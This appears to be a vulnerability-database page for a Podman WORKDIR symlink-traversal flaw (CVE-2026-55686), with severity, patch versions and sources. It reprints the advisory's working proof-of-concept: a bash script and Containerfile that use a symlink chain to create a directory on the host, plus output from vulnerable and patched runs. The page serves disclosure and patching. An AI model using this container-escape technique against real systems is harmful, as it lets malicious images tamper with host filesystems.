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Response snapshot Nov 3, 2026, 22:26 UTC

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VulnerabilityCVE-2026-55686

Podman: WORKDIR symlink traversal vulnerability

Running a malicous container image where the WORKDIR path contains a symlink can create a directory or modify ownership on the host filesystem.

Published Updated

At a glance

Exploited
Not known
Severity
5.3 Medium (CVSS 3.1)
Chance of exploitation
Not estimated
Sources
1 source

What to do

GitHub lists first patched versions: github.com/containers/podman/v5: 5.7.1. Confirm the affected range and upgrade guidance in the exact advisory.

Read GitHub-reviewed advisory GHSA-q6r4-3wmg-fwcq (opens a new tab)

What happened

Summary

Running a malicous container image where the WORKDIR path contains a symlink can create a directory or modify ownership on the host filesystem. Modified ownership is less likely to happen as that requires help from an untrusted/malicious process that mutates the host filesystem tree during dereferencing of the WORKDIR path, to trigger a race condition.

Patch

https://github.com/podman-container-tools/podman/commit/d18e44e9abb3bf5b7294aa70806e1368fdddfdd0

Continue reading

Details

This issue was fixed in podman 5.7.1 (git commit 7ce2e00ab140c11a68301f0b161f51984131a858)

PoC

The reproducer script _test1.bash_ demonstrates the vulnerability. The directory /var/BREAKOUT is created on the host. The container process uses the container directory /var/BREAKOUT as current working directory.

The reproducer script _test2.bash_ demonstrates the same vulnerability. The directory /var/BREAKOUT is created on the host. The container process uses the container directory /usr/local as current working directory.

The reproducer script _test2.bash_ shows that the working directory can be different from the breakout directory.

Reproducer test1.bash

#!/bin/bash
set -o errexit
set -o nounset

if [ -e /var/BREAKOUT ]; then
 echo error: path /var/BREAKOUT should not exist beforehand
 exit 1
fi

dir=$(mktemp -d)
cat > $dir/Containerfile $dir/Containerfile << 'EOF'
FROM docker.io/library/alpine
ARG breakout_dirname=/var
ARG breakout_basename=BREAKOUT
ARG produce_pwd=/usr/local
RUN mkdir -p /0/1/2/3 && \
 cd /0 && \
 ln -s 1/2/3 symlink1 && \
 mkdir -p /0/1/symlink2/${breakout_dirname} && \
 cd /0/1/symlink2/${breakout_dirname} && \
 ln -s ${produce_pwd} ${breakout_basename}
RUN cd / && ln -s ../../../../../../.. symlink2
USER 1234:1234
WORKDIR /0/symlink1/../../symlink2/${breakout_dirname}/${breakout_basename}
CMD ["/bin/sh","-c","echo current working directory: $(pwd)"]
EOF

podman build -q --no-cache -t img $dir
podman run --rm localhost/img
ls -ld /var/BREAKOUT

Vulnerable:

podman 5.7.0 using Fedora CoreOS 43.20251120.3.0

root@localhost:~# bash test1.bash 
38c27b69c61941741f49c3f87b589b422391d5908659665cabf248934be0ed80
current working directory: /var/BREAKOUT
drwxr-xr-x. 2 1234 1234 6 May 29 19:28 /var/BREAKOUT
root@localhost:~# rmdir /var/BREAKOUT/
root@localhost:~# bash test2.bash 
c3390edbe393a3f3b182e60c5900cf93444b5120fbe34dc305478b3b77a106c9
current working directory: /usr/local
drwxr-xr-x. 2 1234 1234 6 May 29 19:28 /var/BREAKOUT

Not vulnerable:

podman 5.7.1 using Fedora CoreOS 43.20260119.1.1

root@localhost:~# bash test1.bash 
0229bf752a821d5b9bb8afcf4b94e8de2a4838798ae8065414b7f939b81d0788
current working directory: /var/BREAKOUT
ls: cannot access '/var/BREAKOUT': No such file or directory
root@localhost:~# bash test2.bash 
568584150a93a003feb8ae1985173bf50ced9cba4d52f9734cb70dc75eeb7c60
current working directory: /usr/local
ls: cannot access '/var/BREAKOUT': No such file or directory

Credits

We like to thank Erik Sjölund (@eriksjolund) for reporting the security impact to us.

Affected package ranges reported by GitHub: github.com/containers/podman/v5: <= 5.7.0 github.com/containers/podman/v4: <= 4.9.5 github.com/containers/podman/v3: <= 3.4.7

Scores and how they were measured

CVSS base severity

5.3

Version 3.1As of

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Measurement source (opens a new tab)

How bad it is if exploited. Not a prediction of exploitation or proof you are exposed.

EPSS probability

Not available

A model's estimate of exploitation in the next 30 days, not certainty or your own risk.

Related technology

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Sources

  1. Primary source

    GitHub-reviewed advisory GHSA-q6r4-3wmg-fwcq (opens a new tab)

    The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review.

    Published Checked

  2. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-q6r4-3wmg-fwcq, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

Cite this record

For factual claims, cite the primary sources above; cite KEVWire for its compilation, dates, and classifications.

APA

KEVWire. (2026, November 3). Podman: WORKDIR symlink traversal vulnerability (CVE-2026-55686). https://kevwire.com/record/CVE-2026-55686

MLA

"Podman: WORKDIR symlink traversal vulnerability (CVE-2026-55686)." KEVWire, 3 Nov. 2026, kevwire.com/record/CVE-2026-55686.

Chicago

KEVWire. "Podman: WORKDIR symlink traversal vulnerability (CVE-2026-55686)." Last modified November 3, 2026. https://kevwire.com/record/CVE-2026-55686.

Evidence summary (plain text)

Podman: WORKDIR symlink traversal vulnerability (Jun 18, 2026).
Running a malicous container image where the WORKDIR path contains a symlink can create a directory or modify ownership on the host filesystem. Modified ownership is less likely to happen as that requires help from an untrusted/malicious process that mutates the host filesystem tree during dereferencing of the WORKDIR path, to trigger a race condition.
CVSS 5.3 (version 3.1; evidence as of Nov 3, 2026; https://github.com/advisories/GHSA-q6r4-3wmg-fwcq).
Sources:
GitHub-reviewed advisory GHSA-q6r4-3wmg-fwcq: https://github.com/advisories/GHSA-q6r4-3wmg-fwcq
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
Record ID: CVE-2026-55686.
Record origin: Ingested record.
AI evidence: Not assessed.
Known exploitation: Not assessed.
Zero-day status: Not assessed. KEV membership alone does not establish zero-day status.
About this data

This record was ingested from a data source. Retrieved: Nov 3, 2026, 22:20 UTC. Ingestion is not an independent editorial investigation.

A CISA KEV listing documents known exploitation, not necessarily a zero-day; absence from the catalog does not prove a vulnerability has never been exploited.

Technology tags indicate possible relevance, not verified exposure. Confirm the affected product, version, and configuration against your own inventory; KEVWire does not scan your systems.

A personal reading checklist on this device, not verified remediation.

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